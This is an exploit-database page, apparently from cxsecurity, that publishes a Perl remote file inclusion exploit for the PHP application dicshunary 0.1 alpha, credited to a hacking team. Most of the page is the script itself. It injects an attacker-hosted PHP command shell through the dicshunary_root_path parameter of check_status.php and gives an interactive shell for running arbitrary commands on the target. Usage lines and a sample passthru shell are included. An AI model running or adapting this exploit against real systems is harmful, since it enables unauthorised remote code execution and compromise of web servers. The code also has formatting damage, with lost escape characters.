dicshunary 0.1 alpha Remote File Inclusion Exploit

2006.12.06
Credit: the_3dit0r
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl # """"""""""""""""""""""""""""""""""""""""""""""" # """ :: :: ::::: :::: """ # """ :: :: :: : :: """ # """ :::: :: :: ::::: ::::: :::: """ # """ :: :: ::: ::: :: :: :: :: :: """ # """ :: :: :: : : ::::: :: :: :::: """ # """ """ # """"""""""""""""""""""""""""""""""""""""""""""" # # Xmor$ DigitaL Hacking TeaM # dicshunary 0.1 alpha Remote File Inclusion Exploit # coded By the_Edit0r # Original Advisory : http://Www.Xmors.com ( Pablic ) http://Www.Xmors.net (pirv8) # # perl cra.pl <target> <cmd shell location> <cmd shell variable> # perl cra.pl http://site.com/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # cmd shell variable: ($_GET[cmd]); # # Greetz: Scorpiunix , KAMY4r , Sh3ll , SilliCONIC , Zer0.C0d3r # D3vil_B0y_ir , Tornado , DarkAngel , Behbood # Spical TNX Irania Hackers : # ( Aria-Security , Crouz , virangar ,DeltaHacking , Iranhackers # Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev, Virangar ) # Contact: the_3dit0r[at]yahoo[dot]coM use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()} head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'check_status.php?dicshunary_root_path='.$Pathtocmd.'?&'.$cmdv.' ='.$cmd)or die "nCould Not connectn"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[n]/[....]/; if (!$cmd) {print "nPlease Enter a Commandnn"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/) {print "nCould Not Connect to cmd Host or Invalid Command Variablen";exit} elsif ($return =~/^<br./>.<b>Fatal.error/) {print "nInvalid Command or No Returnnn"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[....]/[n]/; print "rn$finreturnnr"; last; } else {print "[shell] $";}}}last; sub head() { print "n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++rn"; print " 'dicshunary 0.1 alpha Remote File Inclusion Exploit'rn"; print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++rn"; } sub usage() { head(); print " Usage: perl cra.pl <target> <cmd shell location> <cmd shell variable>rnn"; print " <Site> - Full path to example: http://www.site.com/ rn"; print " <cmd shell> - Path to cmd Shell e.g http://ServerShell.com/sh3ll.txt? rn"; print " <cmd variable> - Command variable used in php shell rn"; print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++rn"; print " By the_Edit0r rn"; print " Xmors DigitaL Hacking TeaM rn"; print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++rn"; exit(); }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top